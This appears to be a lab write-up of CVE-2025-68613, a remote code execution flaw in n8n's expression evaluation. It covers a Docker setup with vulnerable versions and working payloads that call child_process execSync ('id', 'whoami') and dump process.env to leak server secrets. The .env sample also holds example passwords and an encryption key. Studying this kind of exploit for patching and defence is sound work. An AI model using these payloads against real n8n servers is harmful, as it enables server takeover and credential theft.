Skip to content

Executive Summary

Vulnerability Remote Code Execution via Expression Injection
CVE ID CVE-2025-68613
Severity
Critical
CVSS Score 9.9 / 10
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Affected versions >= 0.211.0 < 1.120.4
Patched versions
1.120.4, 1.121.1, 1.122.0
Weaknesses
CWE-913 (Improper Control of Dynamically-Managed Code Resources)
Published Date 12/19/2025

Impact

Recommendation

Technical

n8n is an open-source workflow automation tool that allows users to build and execute workflows composed of nodes (e.g., triggers, actions, and data manipulators).

A key feature is its expression system, which lets users embed dynamic JavaScript-like expressions within workflow configurations using double curly braces ({{ }}). These expressions are evaluated at runtime to compute values, such as transforming data or accessing node outputs.

However, CVE-2025-68613 exposes a critical flaw in how n8n handles this evaluation, leading to remote code execution (RCE) by authenticated users.

image

Danger

This vulnerability, assigned a CVSS score of 9.9 (Critical), affects n8n versions from 0.211.0 up to (but not including) the patched releases: 1.120.4, 1.121.1, and 1.122.0.

Note

Exploitation requires authentication (e.g., a valid user account) but no elevated privileges—just the ability to create or edit workflows.

In practice, this means an attacker logs in, builds a simple workflow, injects a malicious expression into a node and executes the step. The payload runs server-side during evaluation, potentially leading to full server compromise, data exfiltration, or lateral movement in the network.

Lab Setup

Example
docker volume create n8n_rce

docker run -it --rm \
--name n8n_rce \
-p 5678:5678 \
-v n8n_rce:/home/node/.n8n \
n8nio/n8n:1.120.3
docker volume create n8n_rce_2

docker run -it --rm \
--name n8n_rce \
-p 5678:5678 \
-v n8n_rce_2:/home/node/.n8n \
n8nio/n8n:1.121.0

After running the docker commands above, navigate to http://localhost:5678 on your browser and access the initial setup page.

image

Click next and customize n8n to your preference and click on get started.

image

This step is optional but if you prefer to receive a free lifetime activation key, add a valid email and request for licence key as shown:

image

image

Copy the license keys sent to your email and add it as shown below:

image

image

After successful activation, you will see a tag Registered as shown (1) alongside the Vulnerable version deployed (2)

image

Proof of Concept

On the main dashboard, click on Start from scratch to create a new workflow

image

Click on the + icon and select a manual trigger as shown:

image

After addin the manual trigger, search and add the Edit Fields (set) node

image

Click on the Add Field section selected:

image

Name you field payload or whatever you please.

A typical exploit inserted into a workflow might look like:

{
    {
        (function () {
            return this.process.mainModule.require('child_process').execSync('id').toString();
        }());
    }
}

This payload:

  • Uses this to reach the Node.js runtime.
  • Uses process.mainModule.require to dynamically import child_process.
  • Executes a shell command like id, capturing output.
  • Returns that output into the workflow.

Click execute and observe the output.

image

Environment Variable Disclosure

Assuming you are working with a production environment, it is also possible to leak

The IIFE uses this to access the global Node.js context, then returns process.env—an object containing all server environment variables, often including sensitive secrets like API keys, database passwords, encryption keys, and cloud credentials. When the workflow runs, n8n evaluates the expression server-side and displays the full leaked env object in the output pane, allowing an authenticated attacker to silently exfiltrate critical secrets with minimal effort and no command execution required.

Docker Compose file for production environment
# Create the n8n directory
mkdir -p n8n
cd n8n

# Create volumes
docker volume create db_storage_prod
docker volume create n8n_storage_prod

# Create networks (if they don't already exist)
docker network create frontend-prod
docker network create backend-prod

Copy and create the configs below in the n8n directory as shown:

├── docker-compose.yml
├── .env
├── init-data.sh
services:
n8n_prod_ui:
    image: n8nio/n8n:1.121.0
    container_name: "n8n_prod_ui"
    restart: unless-stopped
#    ports:
#      - 5678:5678
    labels:
    - "traefik.enable=true"
    - "traefik.http.routers.n8n-prod.rule=Host(`n8n-prod.example.org`)"
    - "traefik.http.routers.n8n-prod.entrypoints=https"
    - "traefik.http.routers.n8n-prod.service=n8n-prod"
    - "traefik.http.routers.n8n-prod.tls=true"
    - "traefik.http.routers.n8n-prod.tls.certresolver=cloudflare"
    - "traefik.http.services.n8n-prod.loadbalancer.server.port=5678"
    environment:
    - N8N_LOG_LEVEL
    - N8N_LOG_OUTPUT
    - N8N_LOG_FILE_LOCATION
    - N8N_LOG_FILE_MAXSIZE
    - N8N_LOG_FILE_MAXCOUNT
    - N8N_PORT
    - N8N_PROTOCOL
    - NODE_ENV
    - GENERIC_TIMEZONE
    - N8N_ENFORCE_SETTINGS_FILE_PERMISSIONS
    - N8N_RUNNERS_ENABLED
    - N8N_METRICS
    - QUEUE_HEALTH_CHECK_ACTIVE
    - N8N_ENCRYPTION_KEY
    - N8N_SECURE_COOKIE
    - WEBHOOK_URL
    - N8N_PROTOCOL=https
    - N8N_HOST=${SUBDOMAIN}.${DOMAIN_NAME}
    - WEBHOOK_URL=https://${SUBDOMAIN}.${DOMAIN_NAME}/
    volumes:
    - n8n_storage_prod:/home/node/.n8n
    links:
    - n8n_prod_db
    networks:
    - frontend-prod
    depends_on:
    n8n_prod_db:
        condition: service_healthy

n8n_prod_db:
    image: postgres:16
    container_name: "n8n_prod_db"
    restart: unless-stopped
    environment:
    - POSTGRES_USER
    - POSTGRES_PASSWORD
    - POSTGRES_DB
    - POSTGRES_NON_ROOT_USER
    - POSTGRES_NON_ROOT_PASSWORD
    networks:
    - frontend-prod
    - backend-prod
    volumes:
    - db_storage_prod:/var/lib/postgresql/data
    - ./init-data.sh:/docker-entrypoint-initdb.d/init-data.sh
    healthcheck:
    test: ['CMD-SHELL', 'pg_isready -h localhost -U ${POSTGRES_USER} -d ${POSTGRES_DB}']
    interval: 5s
    timeout: 5s
    retries: 10
networks:
frontend-prod:
    external: true
backend-prod:
    external: true
volumes:
db_storage_prod:
n8n_storage_prod:
# The top level domain to serve from
DOMAIN_NAME=example.org

# The subdomain to serve from
SUBDOMAIN=n8n-prod

# DOMAIN_NAME and SUBDOMAIN combined decide where n8n will be reachable from
# above example would result in: https://n8n.example.com

# Optional timezone to set which gets used by Cron-Node by default
# If not set New York time will be used
GENERIC_TIMEZONE=Africa/Nairobi
POSTGRES_USER=analyst
POSTGRES_PASSWORD=5X##q%J3Qp%Qv*!966Tp%xz
POSTGRES_DB=n8n_dev
POSTGRES_NON_ROOT_USER=analyst
POSTGRES_NON_ROOT_PASSWORD=b8WbTHfqea&Y76nsG&N&H9K
N8N_LOG_LEVEL=info
N8N_LOG_OUTPUT=console,file
N8N_LOG_FILE_LOCATION=/home/node/n8n.log
N8N_LOG_FILE_MAXSIZE=25
N8N_LOG_FILE_MAXCOUNT=100
N8N_PORT=5678
N8N_PROTOCOL=http
NODE_ENV=production
N8N_ENFORCE_SETTINGS_FILE_PERMISSIONS=true
N8N_RUNNERS_ENABLED=true
N8N_METRICS=true
QUEUE_HEALTH_CHECK_ACTIVE=true
N8N_ENCRYPTION_KEY=dt!a*Y4S3UhSKiKjOJ*ZaN4
N8N_SECURE_COOKIE=false
WEBHOOK_URL=http://n8n-prod.example.org:5678/
#!/bin/bash
set -e;


if [ -n "${POSTGRES_NON_ROOT_USER:-}" ] && [ -n "${POSTGRES_NON_ROOT_PASSWORD:-}" ]; then
    psql -v ON_ERROR_STOP=1 --username "$POSTGRES_USER" --dbname "$POSTGRES_DB" <<-EOSQL
        CREATE USER ${POSTGRES_NON_ROOT_USER} WITH PASSWORD '${POSTGRES_NON_ROOT_PASSWORD}';
        GRANT ALL PRIVILEGES ON DATABASE ${POSTGRES_DB} TO ${POSTGRES_NON_ROOT_USER};
        GRANT CREATE ON SCHEMA public TO ${POSTGRES_NON_ROOT_USER};
    EOSQL
else
    echo "SETUP INFO: No Environment variables given!"
fi

Payload to execute:

{{ (function() { return this.process.env; })() }}

image

Beautified version:

image

Command Execution Test

{
    {
        (function () {
            var require = this.process.mainModule.require;
            var execSync = require('child_process').execSync;
            return execSync('whoami').toString();
        }());
    }
}
{
    {
        (function () {
            return this.process.env;
        }());
    }
}

Click execute and observe the output.

image

Conclusion

References

Comments